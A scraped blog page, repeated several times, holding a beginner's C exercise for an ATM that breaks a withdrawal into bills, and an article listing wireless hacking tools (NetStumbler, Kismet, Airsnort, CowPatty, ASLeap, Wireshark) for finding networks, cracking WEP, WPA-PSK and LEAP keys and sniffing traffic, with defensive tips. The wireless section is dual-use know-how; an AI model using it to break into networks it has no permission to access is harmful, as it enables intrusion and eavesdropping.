Cajero en C

Estoy en un curso basico\medio de C y queria cuestionar lo siguiente, estoy con el tema control de flujo, con los bucles etc, y el punto es que me mandaron a hacer un "cajero".<br /><br />Mi idea logica es la siguiente ya que estuve estudiandolos un poco.<br /><br />Que al iniciar el programa CARGUE VALORES para cada billete 100 - 50 -20 blabla hasta La moneda peso. Que seria lo que el cajero segun el blindado le da al banco y bueno... seria lo que tiene disponible.<br /><br />Entonces luego se ingresa un importe a retirar por ej $1200 y que el cajero entonces diga tantos billetes de 100 , tantos de 50 y asi hasta llegar al importe, en este caso 12 billetes de 100 serian. osea se entiende?<br />Y despues Tire la maxima y minima operacion..<br /><br />Algunas ideas son bienvenidas. Tengo tiempo para hacerlo estaria bueno que me ayuden porque la verdad estoy en bolas perdon por la mala expresion ultima.<br />Muchas gracias y saludos.<br />Fijate a ver que onda.<br /><br />[div style=\"margin:0px 0px 0px 0px\"]<br />[div class=\"smallfont\" style=\"margin-bottom:0px\"]<br />[input type=\"button\" value=\"Mostrar\" style=\"width:75px;font-size:10px;margin:0px;padding:0px;\" onclick=\"if (this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display != \'\') { this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display = \'\';this.innerText = \'\'; this.value = \'Esconder\'; } else { this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display = \'none\'; this.innerText = \'\'; this.value = \'Mostrar\'; }\"]<br /><br />[div style=\"margin: 0px; padding: 0px; border: 0px inset;\"]<br />[div style=\"display: none;\"]<br /><div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0; display: inline;">/*<br /> Name:<br /> Copyright:<br /> Author: Confused<br /> Date: 15/01/08 13:44<br /> Description: Intento de cajero :P, carga valor inicial para que el cajero se informe<br /> de cuantos billetes tiene. (con cero finaliza el programa).<br /> <br /> Luego se ingresa un Importe a retirar. Si quedan billetes, el cajero da tantos billetes<br /> dependiendo el importe, y dice cuantos restantes quedan. (mas que nada para informarme<br /> que funciona bien).<br /> <br /> Tambien el cajero sino tiene billetes de 100, va entregando lo que resta con billetes de abajo, es decir<br /> 50, sino tiene 20, sino 10 y asi hasta los que queden. En caso que no tenga mas te tira un printf que<br /> no tiene billetes suficientes para el importe a retirar cargado.<br /> <br /> Al final del programa cuando se aplica el 0, puse unas banderas para que digan<br /> cual fue la operacion maxima y minima.<br /> <br /> Nose borralo de ultima :P<br /> <br /> Saludos. Cualquier cosa postea en el foro y te respondo.<br /> <br />*/<br /><br />#include <stdio.h><br />#include <stdlib.h><br /><br />int main (void)<br />{<br /><br /> int billete100;<br /> int billete50;<br /> int billete20;<br /> int billete10;<br /> int billete5;<br /> int billete2;<br /> int billete1;<br /> int importe;<br /> int valor;<br /> int contador100;<br /> int contador50;<br /> int contador20;<br /> int contador10;<br /> int contador5;<br /> int contador2;<br /> int contador1;<br /> int max;<br /> int min;<br /> bool banderamax = true;<br /> bool banderamin = true;<br /><br /> printf("Presione 0 para salir\n");<br /><br /> printf("Cargue valor 100: ");<br /> scanf("%d",&billete100);<br /> printf("Cargue valor 50: ");<br /> scanf("%d",&billete50);<br /> printf("Cargue valor 20: ");<br /> scanf("%d",&billete20);<br /> printf("Cargue valor 10: ");<br /> scanf("%d",&billete10);<br /> printf("Cargue valor 5: ");<br /> scanf("%d",&billete5);<br /> printf("Cargue valor 2: ");<br /> scanf("%d",&billete2);<br /> printf("Cargue valor 1: ");<br /> scanf("%d",&billete1);<br /><br /> <br /> importe = (billete100*100)+<br /> (billete50*50)+<br /> (billete20*20)+<br /> (billete10*10)+<br /> (billete5*5)+<br /> (billete2*2)+<br /> (billete1*1);<br /><br /> printf ("Ingrese un valor: ");<br /> scanf ("%d",&valor);<br /> while (valor != 0 )<br /> {<br /> <br /> if(valor <= importe)<br /> { <br /> if(banderamax == true) //bandera max<br /> {<br /> banderamax = false;<br /> max = valor;<br /> }<br /> else<br /> {<br /> if (valor > max)<br /> {<br /> max = valor;<br /> }<br /> }<br /> if(banderamin == true)<br /> {<br /> banderamin = false;<br /> min = valor;<br /> }<br /> else<br /> {<br /> if (valor < min)<br /> {<br /> min = valor;<br /> }<br /> }<br /> importe = importe - valor;<br /> contador100 = 0; //contador 100.<br /> <br /> while (valor >= 100 && billete100 > 0)<br /> {<br /> valor = valor - 100;<br /> contador100++;<br /> billete100--;<br /> }<br /> contador50 = 0; //contador 50<br /> while (valor >= 50 && billete50 > 0)<br /> {<br /> valor = valor - 50;<br /> contador50++;<br /> billete50--;<br /> }<br /> contador20 = 0; //contador 20<br /> while (valor >= 20 && billete20 > 0)<br /> {<br /> valor = valor - 20;<br /> contador20++;<br /> billete20--;<br /> }<br /> contador10 = 0; //contador 10<br /> while (valor >= 10 && billete10 > 0)<br /> {<br /> valor = valor - 10;<br /> contador10++;<br /> billete10--;<br /> }<br /> contador5 = 0; //contador 5<br /> while (valor >= 5 && billete5 > 0)<br /> {<br /> valor = valor - 5;<br /> contador5++;<br /> billete5--;<br /> }<br /> contador2 = 0; //contador 2<br /> while (valor >= 2 && billete2 > 0) <br /> {<br /> valor = valor - 2;<br /> contador2++;<br /> billete2--;<br /> }<br /> contador1= 0;<br /> while (valor >= 1 && billete1 > 0) //contador 1<br /> {<br /> valor = valor - 1;<br /> contador1++;<br /> billete1--;<br /> }<br /><br /><br /> printf ("CANTIDAD DE BILLETES DE 100: %d RESTANTES %d\n",contador100,billete100);<br /> printf ("CANTIDAD DE BILLETES DE 50: %d RESTANTES %d\n",contador50,billete50);<br /> printf ("CANTIDAD DE BILLETES DE 20: %d RESTANTES %d\n",contador20,billete20);<br /> printf ("CANTIDAD DE BILLETES DE 10:%d RESTANTES %d\n",contador10,billete10);<br /> printf ("CANTIDAD DE BILLETES DE 5: %d RESTANTES %d\n",contador5,billete5);<br /> printf ("CANTIDAD DE BILLETES DE 2: %d RESTANTES %d\n",contador2,billete2);<br /> printf ("CANTIDAD DE BILLETES DE 1: %d RESTANTES %d\n",contador1,billete1); <br /> }<br /> else<br /> {<br /> printf ("NO QUEDAN BILLETES PARA COMPLETAR EL IMPORTE!\n\n");<br /><br /> }<br /> printf ("Ingrese un valor: ");<br /> scanf ("%d",&valor);<br /> }<br /> printf ("LA MAXIMA OPERACION FUE: %d\n",max);<br /> printf ("LA MINIMA OPERACION FUE: %d\n",min);<br /> printf (":D\n\n\n");<br /> system("pause");<br /><br />}</stdlib.h></stdio.h></pre></div><br /><br /><br /><br />Confu edite el post , acostumbrense a usar el spoiler para los codigos largos asi se lee bien el post.<br /><br />Salu2 y perdon.<br /> <table style="table-layout: fixed;" width="100%" border="0"><tbody><tr> <td colspan="2" class="smalltext" width="100%"> <br /></td> </tr><tr> </tr></tbody></table>

Cajero en C

Estoy en un curso basico\medio de C y queria cuestionar lo siguiente, estoy con el tema control de flujo, con los bucles etc, y el punto es que me mandaron a hacer un "cajero".Mi idea logica es la …

Leer más »

Cajero en C

<br />Estoy en un curso basico\medio de C y queria cuestionar lo siguiente, estoy con el tema control de flujo, con los bucles etc, y el punto es que me mandaron a hacer un "cajero".<br /><br />Mi idea logica es la siguiente ya que estuve estudiandolos un poco.<br /><br />Que al iniciar el programa CARGUE VALORES para cada billete 100 - 50 -20 blabla hasta La moneda peso. Que seria lo que el cajero segun el blindado le da al banco y bueno... seria lo que tiene disponible.<br /><br />Entonces luego se ingresa un importe a retirar por ej $1200 y que el cajero entonces diga tantos billetes de 100 , tantos de 50 y asi hasta llegar al importe, en este caso 12 billetes de 100 serian. osea se entiende?<br />Y despues Tire la maxima y minima operacion..<br /><br />Algunas ideas son bienvenidas. Tengo tiempo para hacerlo estaria bueno que me ayuden porque la verdad estoy en bolas perdon por la mala expresion ultima.<br />Muchas gracias y saludos.<br />Fijate a ver que onda.<br /><br />[div style=\"margin:0px 0px 0px 0px\"]<br />[div class=\"smallfont\" style=\"margin-bottom:0px\"]<br />[input type=\"button\" value=\"Mostrar\" style=\"width:75px;font-size:10px;margin:0px;padding:0px;\" onclick=\"if (this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display != \'\') { this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display = \'\';this.innerText = \'\'; this.value = \'Esconder\'; } else { this.parentNode.parentNode.getElementsByTagName(\'div\')[1].getElementsByTagName(\'div\')[0].style.display = \'none\'; this.innerText = \'\'; this.value = \'Mostrar\'; }\"]<br /><br />[div style=\"margin: 0px; padding: 0px; border: 0px inset;\"]<br />[div style=\"display: none;\"]<br /><div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0; display: inline;">/*<br /> Name:<br /> Copyright:<br /> Author: Confused<br /> Date: 15/01/08 13:44<br /> Description: Intento de cajero :P, carga valor inicial para que el cajero se informe<br /> de cuantos billetes tiene. (con cero finaliza el programa).<br /> <br /> Luego se ingresa un Importe a retirar. Si quedan billetes, el cajero da tantos billetes<br /> dependiendo el importe, y dice cuantos restantes quedan. (mas que nada para informarme<br /> que funciona bien).<br /> <br /> Tambien el cajero sino tiene billetes de 100, va entregando lo que resta con billetes de abajo, es decir<br /> 50, sino tiene 20, sino 10 y asi hasta los que queden. En caso que no tenga mas te tira un printf que<br /> no tiene billetes suficientes para el importe a retirar cargado.<br /> <br /> Al final del programa cuando se aplica el 0, puse unas banderas para que digan<br /> cual fue la operacion maxima y minima.<br /> <br /> Nose borralo de ultima :P<br /> <br /> Saludos. Cualquier cosa postea en el foro y te respondo.<br /> <br />*/<br /><br />#include <stdio.h><br />#include <stdlib.h><br /><br />int main (void)<br />{<br /><br /> int billete100;<br /> int billete50;<br /> int billete20;<br /> int billete10;<br /> int billete5;<br /> int billete2;<br /> int billete1;<br /> int importe;<br /> int valor;<br /> int contador100;<br /> int contador50;<br /> int contador20;<br /> int contador10;<br /> int contador5;<br /> int contador2;<br /> int contador1;<br /> int max;<br /> int min;<br /> bool banderamax = true;<br /> bool banderamin = true;<br /><br /> printf("Presione 0 para salir\n");<br /><br /> printf("Cargue valor 100: ");<br /> scanf("%d",&billete100);<br /> printf("Cargue valor 50: ");<br /> scanf("%d",&billete50);<br /> printf("Cargue valor 20: ");<br /> scanf("%d",&billete20);<br /> printf("Cargue valor 10: ");<br /> scanf("%d",&billete10);<br /> printf("Cargue valor 5: ");<br /> scanf("%d",&billete5);<br /> printf("Cargue valor 2: ");<br /> scanf("%d",&billete2);<br /> printf("Cargue valor 1: ");<br /> scanf("%d",&billete1);<br /><br /> <br /> importe = (billete100*100)+<br /> (billete50*50)+<br /> (billete20*20)+<br /> (billete10*10)+<br /> (billete5*5)+<br /> (billete2*2)+<br /> (billete1*1);<br /><br /> printf ("Ingrese un valor: ");<br /> scanf ("%d",&valor);<br /> while (valor != 0 )<br /> {<br /> <br /> if(valor <= importe)<br /> { <br /> if(banderamax == true) //bandera max<br /> {<br /> banderamax = false;<br /> max = valor;<br /> }<br /> else<br /> {<br /> if (valor > max)<br /> {<br /> max = valor;<br /> }<br /> }<br /> if(banderamin == true)<br /> {<br /> banderamin = false;<br /> min = valor;<br /> }<br /> else<br /> {<br /> if (valor < min)<br /> {<br /> min = valor;<br /> }<br /> }<br /> importe = importe - valor;<br /> contador100 = 0; //contador 100.<br /> <br /> while (valor >= 100 && billete100 > 0)<br /> {<br /> valor = valor - 100;<br /> contador100++;<br /> billete100--;<br /> }<br /> contador50 = 0; //contador 50<br /> while (valor >= 50 && billete50 > 0)<br /> {<br /> valor = valor - 50;<br /> contador50++;<br /> billete50--;<br /> }<br /> contador20 = 0; //contador 20<br /> while (valor >= 20 && billete20 > 0)<br /> {<br /> valor = valor - 20;<br /> contador20++;<br /> billete20--;<br /> }<br /> contador10 = 0; //contador 10<br /> while (valor >= 10 && billete10 > 0)<br /> {<br /> valor = valor - 10;<br /> contador10++;<br /> billete10--;<br /> }<br /> contador5 = 0; //contador 5<br /> while (valor >= 5 && billete5 > 0)<br /> {<br /> valor = valor - 5;<br /> contador5++;<br /> billete5--;<br /> }<br /> contador2 = 0; //contador 2<br /> while (valor >= 2 && billete2 > 0) <br /> {<br /> valor = valor - 2;<br /> contador2++;<br /> billete2--;<br /> }<br /> contador1= 0;<br /> while (valor >= 1 && billete1 > 0) //contador 1<br /> {<br /> valor = valor - 1;<br /> contador1++;<br /> billete1--;<br /> }<br /><br /><br /> printf ("CANTIDAD DE BILLETES DE 100: %d RESTANTES %d\n",contador100,billete100);<br /> printf ("CANTIDAD DE BILLETES DE 50: %d RESTANTES %d\n",contador50,billete50);<br /> printf ("CANTIDAD DE BILLETES DE 20: %d RESTANTES %d\n",contador20,billete20);<br /> printf ("CANTIDAD DE BILLETES DE 10:%d RESTANTES %d\n",contador10,billete10);<br /> printf ("CANTIDAD DE BILLETES DE 5: %d RESTANTES %d\n",contador5,billete5);<br /> printf ("CANTIDAD DE BILLETES DE 2: %d RESTANTES %d\n",contador2,billete2);<br /> printf ("CANTIDAD DE BILLETES DE 1: %d RESTANTES %d\n",contador1,billete1); <br /> }<br /> else<br /> {<br /> printf ("NO QUEDAN BILLETES PARA COMPLETAR EL IMPORTE!\n\n");<br /><br /> }<br /> printf ("Ingrese un valor: ");<br /> scanf ("%d",&valor);<br /> }<br /> printf ("LA MAXIMA OPERACION FUE: %d\n",max);<br /> printf ("LA MINIMA OPERACION FUE: %d\n",min);<br /> printf (":D\n\n\n");<br /> system("pause");<br /><br />}</stdlib.h></stdio.h></pre></div><br /><br /><br /><br />Confu edite el post , acostumbrense a usar el spoiler para los codigos largos asi se lee bien el post.<br /><br />Salu2 y perdon.<br /> <table style="table-layout: fixed;" width="100%" border="0"><tbody><tr> <td colspan="2" class="smalltext" width="100%"> <br /></td> </tr><tr> </tr></tbody></table>

Cajero en C

Estoy en un curso basico\medio de C y queria cuestionar lo siguiente, estoy con el tema control de flujo, con los bucles etc, y el punto es que me mandaron a hacer un "cajero".Mi idea logica es la …

Leer más »

Herramientas esenciales hacking inalámbrico

<div style="text-align: center;"><p style="text-align: justify; font-weight: bold;"><span style="font-size:100%;"><span style="font-weight: normal;">E</span><span style="font-weight: normal;font-size:100%;">ssential Wireless Hacking Tools,& the most important wireless hacing tools ,here are the most essential tools for wireless hacking ,guys interested in gaining a deeper knowledge of wireless security and exploiting vulnerabilities will need a good set of base tools with which to work. Fortunately, there are an abundance of free tools available on the Internet. This list is not meant to be comprehensive in nature but rather to provide some general guidance on recommended tools to build your toolkit.</span><span style="font-weight: bold;font-size:100%;"> </span></span></p><div style="text-align: justify; font-weight: bold;"> <span style="font-weight: normal;font-size:100%;">Finding Wireless Networks:<br />Locating a wireless network is the first step in trying to exploit it. There are two tools that are commonly used in this regard:<br /><a target="_blank" href="http://www.netstumbler.com/downloads/" class="undefined">Network Stumbler a.k.a NetStumbler</a> – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys</span><span style="font-weight: normal;font-size:100%;">. </span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="199" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/netstumbler.jpg" width="500" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(NetStumbler Screenshot) </p> <p> <a target="_blank" href="http://www.kismetwireless.net/" class="undefined">Kismet</a> – <span style="font-weight: normal;font-size:100%;">One of the key functional elements missing from NetStumbler is the ability to display Wireless Networks that are not broadcasting their SSID. As a potential wireless security expert, you should realize that Access Points are routinely broadcasting this info; it just isn’t being read/deciphered. Kismet will detect and display SSIDs that are not being broadcast which is very critical in finding wireless networks.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="295" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/kismet.jpg" width="491" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Kismet Screenshot) </p> <h3 style="font-weight: bold;"><span style="font-size:85%;">Attaching to the Found Wireless Network:</span><span style="font-weight: normal;font-size:85%;">Once you’ve found a wireless network, the next step is to try to connect to it. If the network isn’t using any type of authentication or encryption security, you can simply connect to the SSID. If the SSID isn’t being broadcast, you can create a profile with the name of the SSID that is not being broadcast. Of course you found the non-broadcast SSID with Kismet, right? If the wireless network is using authentication and/or encryption, you may need one of the following tools.</span> </h3> <p style="font-weight: bold;"> <span style="font-size:85%;"><a target="_blank" href="http://airsnort.shmoo.com/" class="undefined">Airsnort</a> – <span style="font-weight: normal;font-size:100%;">This is a very easy to use tool that can be used to sniff and crack WEP keys. While many people bash the use of WEP, it is certainly better than using nothing at all. Something you’ll find in using this tool is that it takes a lot of sniffed packets to crack the WEP key. There are additional tools and strategies that can be used to force the generation of traffic on the wireless network to shorten the amount of time needed to crack the key, but this feature is not included in Airsnort.</span></span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="174" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/airsnort.jpg" width="539" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Screenshot of Airsnort in Action) </p> <p> <a target="_blank" href="http://sourceforge.net/projects/cowpatty" class="undefined">CowPatty</a> – <span style="font-weight: normal;font-size:100%;">This tool is used as a brute force tool for cracking WPA-PSK, considered the “New WEP” for home Wireless Security. This program simply tries a bunch of different options from a dictionary file to see if one ends up matching what is defined as the Pre-Shared Key.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="283" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/cowpatty.jpg" width="455" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Cowpatty Options Screenshot) </p> <p> <a target="_blank" href="http://asleap.sourceforge.net/" class="undefined">ASLeap</a> – <span style="font-weight: normal;font-size:100%;">If a network is using LEAP, this tool can be used to gather the authentication data that is being passed across the network, and these sniffed credentials can be cracked. LEAP doesn’t protect the authentication like other “real” EAP types, which is the main reason why LEAP can be broken.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="306" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/asleap.jpg" width="491" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Asleap Options Screenshot) </p> <h3>Sniffing Wireless Data:</h3> <p style="font-weight: normal;"> Whether you are directly connected to a wireless network or not, if there is wireless network in range, there is data flying through the air at any given moment. You will need a tool to be able to see this data. </p> <p> <a style="font-weight: normal;" target="_blank" href="http://www.wireshark.org/">Wireshark</a> <span style="font-weight: normal;font-size:100%;">(formerly Ethereal) – While there has been much debate on the proper way to pronounce this utility, there is no question that it is an extremely valuable tool. Ethereal can scan wireless and Ethernet data and comes with some robust filtering capabilities. It can also be used to sniff-out 802.11 management beacons and probes and subsequently could be used as a tool to sniff-out non-broadcast SSIDs.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="436" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/ethereal.jpg" width="575" /></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Screenshot of Ethereal in Action) </p> <p align="center"> <img border="0" height="105" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/yahooim.jpg" width="576" /></p><br /></span><span style="font-size:100%;"><p style="font-weight: normal;" align="center"><span style="font-size:85%;">(Yahoo IM Session being sniffed in Ethereal) </span></p> <p style="font-weight: normal;"><span style="font-size:85%;"><span style="font-size:100%;"> The aforementioned utilities, or similar ones, will be necessities in your own wireless security toolkit. The easiest way to become familiar with these tools is to simply use them in a controlled lab environment. And cost is no excuse as all of these tools are available freely on the Internet.</span> </span></p> <h3 style="font-weight: bold;"><span style="font-size:85%;">Protecting Against These Tools:</span></h3> <p style="font-weight: normal;"><span style="font-size:85%;"><span style="font-size:100%;"> Just as it’s important to know how to utilize the aforementioned tools, it is important to know best practices on how to secure your Wireless Network Against these tools.</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>NetStumbler</strong> – <span style="font-size:100%;">Do not broadcast your SSID. Ensure your WLAN is protected by using advanced Authentication and Encryption. </span></span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Kismet</strong> – <span style="font-size:100%;">There’s really nothing you can do to stop Kismet from finding your WLAN, so ensure your WLAN is protected by using advanced Authentication and Encryption</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Airsnort</strong> – <span style="font-size:100%;">Use a 128-bit, not a 40-bit WEP encryption key. This would take longer to crack. If your equipment supports it, use WPA or WPA2 instead of WEP (may require firmware or software update).</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Cowpatt<span style="font-size:100%;">y</span></strong><span style="font-size:100%;"> – Use a long and complex WPA Pre-Shared Key. This type of key would have less of a chance of residing in a dictionary file that would be used to try and guess your key and/or would take longer. If in a corporate scenario, don’t use WPA with Pre-Shared Key, use a good EAP type to protect the authentication and limit the amount of incorrect guesses that would take place before the account is locked-out. If using certificate-like functionality, it could also validate the remote system trying to gain access to the WLAN and not allow a rogue system access.</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>ASLeap</strong> – <span style="font-size:100%;">Use long and complex credentials, or better yet, switch to EAP-FAST or a different EAP type</span>.</span> </p> <p style="font-weight: normal;"> <strong>Ethereal</strong> – Use encryption, so that anything sniffed would be difficult or nearly impossible to break. WPA2, which uses AES, is essentially unrealistic to break by a normal hacker. Even WEP will encrypt the data. When in a Public Wireless Hotspot (which generally do not offer encryption), use application layer encryption, like Simplite to encrypt your IM sessions, or use SSL. For corporate users, use IPSec VPN with split-tunneling disabled. This will force all traffic leaving the machine through an encrypted tunnel that would be encrypted with DES, 3DES or AES.</p></span></div><br /><span id="result_box" class="long_text"><span style="background-color: rgb(255, 255, 255);" title="Other options are:"></span><span style="background-color: rgb(255, 255, 255);" title="FTP Upload Information"><br /></span><span style="background-color: rgb(255, 255, 255);" title="Filesize: 3.6 MB"></span></span></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Herramientas esenciales hacking inalámbrico

Essential Wireless Hacking Tools,& the most important wireless hacing tools ,here are the most essential tools for wireless hacking ,guys interested in gaining a deeper knowledge of wireless securi…

Leer más »

Herramientas esenciales hacking inalámbrico

<div style="text-align: center;"><p style="text-align: justify; font-weight: bold;"><span style="font-size:100%;"><span style="font-weight: normal;">E</span><span style="font-weight: normal;font-size:100%;">ssential Wireless Hacking Tools,& the most important wireless hacing tools ,here are the most essential tools for wireless hacking ,guys interested in gaining a deeper knowledge of wireless security and exploiting vulnerabilities will need a good set of base tools with which to work. Fortunately, there are an abundance of free tools available on the Internet. This list is not meant to be comprehensive in nature but rather to provide some general guidance on recommended tools to build your toolkit.</span><span style="font-weight: bold;font-size:100%;"> </span></span></p><div style="text-align: justify; font-weight: bold;"> <span style="font-weight: normal;font-size:100%;">Finding Wireless Networks:<br />Locating a wireless network is the first step in trying to exploit it. There are two tools that are commonly used in this regard:<br /><a target="_blank" href="http://www.netstumbler.com/downloads/" class="undefined">Network Stumbler a.k.a NetStumbler</a> – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys</span><span style="font-weight: normal;font-size:100%;">. </span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="199" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/netstumbler.jpg" width="500"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(NetStumbler Screenshot) </p> <p> <a target="_blank" href="http://www.kismetwireless.net/" class="undefined">Kismet</a> – <span style="font-weight: normal;font-size:100%;">One of the key functional elements missing from NetStumbler is the ability to display Wireless Networks that are not broadcasting their SSID. As a potential wireless security expert, you should realize that Access Points are routinely broadcasting this info; it just isn’t being read/deciphered. Kismet will detect and display SSIDs that are not being broadcast which is very critical in finding wireless networks.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="295" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/kismet.jpg" width="491"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Kismet Screenshot) </p> <h3 style="font-weight: bold;"><span style="font-size:85%;">Attaching to the Found Wireless Network:</span><span style="font-weight: normal;font-size:85%;">Once you’ve found a wireless network, the next step is to try to connect to it. If the network isn’t using any type of authentication or encryption security, you can simply connect to the SSID. If the SSID isn’t being broadcast, you can create a profile with the name of the SSID that is not being broadcast. Of course you found the non-broadcast SSID with Kismet, right? If the wireless network is using authentication and/or encryption, you may need one of the following tools.</span> </h3> <p style="font-weight: bold;"> <span style="font-size:85%;"><a target="_blank" href="http://airsnort.shmoo.com/" class="undefined">Airsnort</a> – <span style="font-weight: normal;font-size:100%;">This is a very easy to use tool that can be used to sniff and crack WEP keys. While many people bash the use of WEP, it is certainly better than using nothing at all. Something you’ll find in using this tool is that it takes a lot of sniffed packets to crack the WEP key. There are additional tools and strategies that can be used to force the generation of traffic on the wireless network to shorten the amount of time needed to crack the key, but this feature is not included in Airsnort.</span></span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="174" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/airsnort.jpg" width="539"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Screenshot of Airsnort in Action) </p> <p> <a target="_blank" href="http://sourceforge.net/projects/cowpatty" class="undefined">CowPatty</a> – <span style="font-weight: normal;font-size:100%;">This tool is used as a brute force tool for cracking WPA-PSK, considered the “New WEP” for home Wireless Security. This program simply tries a bunch of different options from a dictionary file to see if one ends up matching what is defined as the Pre-Shared Key.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="283" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/cowpatty.jpg" width="455"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Cowpatty Options Screenshot) </p> <p> <a target="_blank" href="http://asleap.sourceforge.net/" class="undefined">ASLeap</a> – <span style="font-weight: normal;font-size:100%;">If a network is using LEAP, this tool can be used to gather the authentication data that is being passed across the network, and these sniffed credentials can be cracked. LEAP doesn’t protect the authentication like other “real” EAP types, which is the main reason why LEAP can be broken.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="306" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/asleap.jpg" width="491"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Asleap Options Screenshot) </p> <h3>Sniffing Wireless Data:</h3> <p style="font-weight: normal;"> Whether you are directly connected to a wireless network or not, if there is wireless network in range, there is data flying through the air at any given moment. You will need a tool to be able to see this data. </p> <p> <a style="font-weight: normal;" target="_blank" href="http://www.wireshark.org/">Wireshark</a> <span style="font-weight: normal;font-size:100%;">(formerly Ethereal) – While there has been much debate on the proper way to pronounce this utility, there is no question that it is an extremely valuable tool. Ethereal can scan wireless and Ethernet data and comes with some robust filtering capabilities. It can also be used to sniff-out 802.11 management beacons and probes and subsequently could be used as a tool to sniff-out non-broadcast SSIDs.</span> </p></span><span style="font-weight: bold;font-size:100%;"> <p align="center"> <img border="0" height="436" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/ethereal.jpg" width="575"></p><br /></span><span style="font-weight: bold;font-size:100%;"><p align="center">(Screenshot of Ethereal in Action) </p> <p align="center"> <img border="0" height="105" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/nov05/yahooim.jpg" width="576"></p><br /></span><span style="font-size:100%;"><p style="font-weight: normal;" align="center"><span style="font-size:85%;">(Yahoo IM Session being sniffed in Ethereal) </span></p> <p style="font-weight: normal;"><span style="font-size:85%;"><span style="font-size:100%;"> The aforementioned utilities, or similar ones, will be necessities in your own wireless security toolkit. The easiest way to become familiar with these tools is to simply use them in a controlled lab environment. And cost is no excuse as all of these tools are available freely on the Internet.</span> </span></p> <h3 style="font-weight: bold;"><span style="font-size:85%;">Protecting Against These Tools:</span></h3> <p style="font-weight: normal;"><span style="font-size:85%;"><span style="font-size:100%;"> Just as it’s important to know how to utilize the aforementioned tools, it is important to know best practices on how to secure your Wireless Network Against these tools.</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>NetStumbler</strong> – <span style="font-size:100%;">Do not broadcast your SSID. Ensure your WLAN is protected by using advanced Authentication and Encryption. </span></span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Kismet</strong> – <span style="font-size:100%;">There’s really nothing you can do to stop Kismet from finding your WLAN, so ensure your WLAN is protected by using advanced Authentication and Encryption</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Airsnort</strong> – <span style="font-size:100%;">Use a 128-bit, not a 40-bit WEP encryption key. This would take longer to crack. If your equipment supports it, use WPA or WPA2 instead of WEP (may require firmware or software update).</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>Cowpatt<span style="font-size:100%;">y</span></strong><span style="font-size:100%;"> – Use a long and complex WPA Pre-Shared Key. This type of key would have less of a chance of residing in a dictionary file that would be used to try and guess your key and/or would take longer. If in a corporate scenario, don’t use WPA with Pre-Shared Key, use a good EAP type to protect the authentication and limit the amount of incorrect guesses that would take place before the account is locked-out. If using certificate-like functionality, it could also validate the remote system trying to gain access to the WLAN and not allow a rogue system access.</span> </span></p> <p style="font-weight: normal;"> <span style="font-size:85%;"><strong>ASLeap</strong> – <span style="font-size:100%;">Use long and complex credentials, or better yet, switch to EAP-FAST or a different EAP type</span>.</span> </p> <p 